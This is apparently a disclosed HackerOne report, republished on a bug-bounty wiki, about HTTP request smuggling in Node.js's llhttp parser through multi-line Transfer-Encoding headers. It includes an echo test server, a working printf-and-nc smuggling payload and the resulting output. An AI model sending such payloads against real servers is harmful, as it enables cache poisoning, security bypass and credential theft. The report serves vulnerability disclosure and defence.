Skip to content
Smuggling / CRLF Disclosed report Advanced CVE-2022-32215

HTTP Request Smuggling Due to Incorrect Parsing of Multi-line Transfer-Encoding (improper fix for CVE-2022-32215)

The llhttp parser in Node.js incorrectly handles multi-line Transfer-Encoding headers, allowing a crafted request to be interpreted as two separate requests. An attacker could exploit this to perform HTTP request smuggling, potentially leading to cache poisoning, bypassing security controls, or stealing credentials.

shacharm Follow

Originally disclosed on HackerOne

  • Triaged in 6 days
  • Fixed in 47 days
  • Disclosed after 3 months

Summary: Due to an incomplete fix for CVE-2022-32215, the llhttp parser in the http module in Node v16.16.0 and 18.7.0 still does not correctly handle multi-line Transfer-Encoding headers. This can lead to HTTP Request Smuggling (HRS).

Description: [add more details about this vulnerability]

We have identified that the root issue of CVE-2022-32215 (that was reported here) was seemingly not fixed at all. Running the same exploit produces the same unwanted result. For the sake of brevity, I won't repeat the description, it can be seen in the original issue.

Steps To Reproduce:

The reproduction steps are the same from the original issue

Testing Server

Run the following server (node server.js):

JavaScript
const http = require('http');

http.createServer((request, response) => {
   let body = [];
   request.on('error', (err) => {
   response.end("error while reading body: " + err)
   }).on('data', (chunk) => {
      body.push(chunk);
   }).on('end', () => {
   body = Buffer.concat(body).toString();
   
   response.on('error', (err) => {
      response.end("error while sending response: " + err)
   });

   response.end(JSON.stringify({
         "Headers": request.headers,
         "Length": body.length,
         "Body": body,
      }) + "\n");
   });
}).listen(80);

Payload

printf "POST / HTTP/1.1\r\n"\
"Host: 127.0.0.1\r\n"\
"Transfer-Encoding: chunked\r\n"\
" , chunked-false\r\n"\
"\r\n"\
"1\r\n"\
"A\r\n"\
"0\r\n"\
"\r\n"\
"GET /flag HTTP/1.1\r\n"\
"Host: 127.0.0.1\r\n"\
"foo: x\r\n"\
"\r\n"\
"\r\n" | nc localhost 80

Output

HTTP/1.1 200 OK
Date: Sun, 06 Mar 2022 03:34:05 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 101

{"Headers":{"transfer-encoding":"chunked , chunked-false"},"Length":1,"Body":"A"}
HTTP/1.1 200 OK
Date: Sun, 06 Mar 2022 03:34:05 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 64

{"Headers":{"host":"127.0.0.1", "foo":"x"},"Length":0,"Body":""}

As you can see, the payload was parsed as two requests (POST to / , and GET to /flag) which is erroneous behavior (the first request was parsed as a chunked request, which is wrong)

The expected output should be -

HTTP/1.1 400 Bad Request
Connection: close

Supporting Material/References:

Exploitation of the issue on Node 16.16.0 -

CVE-2022-32215_Node16.16.0.mov From the original on HackerOne

Credit

The vulnerability was discovered by Liav Gutman of the JFrog CSO Team

Impact

Depending on the specific web application, HRS can lead to cache poisoning, bypassing of security layers, stealing of credentials and so on.

The original report as published on HackerOne, by shacharm. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

Depending on the application, HTTP request smuggling could lead to cache poisoning, bypassing security layers, or stealing credentials.

What the attacker needed

Node.js server using vulnerable llhttp parser; Attacker can send crafted HTTP requests

The fix

The parser should be fixed to correctly reject or handle multi-line Transfer-Encoding headers, returning a 400 Bad Request.

How it was found

  1. Run a Node.js HTTP server that echoes request headers and body.
  2. Send a crafted POST request with a multi-line Transfer-Encoding header and a smuggled GET request in the body.
  3. Observe that the server responds with two separate responses, indicating the request was parsed as two requests.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

HTTP request smuggling is when a crafted request is parsed as more than one request. Here Node.js's HTTP parser mishandles a malformed Transfer-Encoding header, treating one request as two, which could poison caches or bypass security checks.

What is Smuggling / CRLF?

A front end and a back end split one connection's bytes into requests differently, letting an attacker hide a request inside another user's.

More from Node.js

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Request smuggling and header injection

The lesson behind this report.

A front end and a back end split one connection's bytes into requests differently, letting an attacker hide a request inside another user's.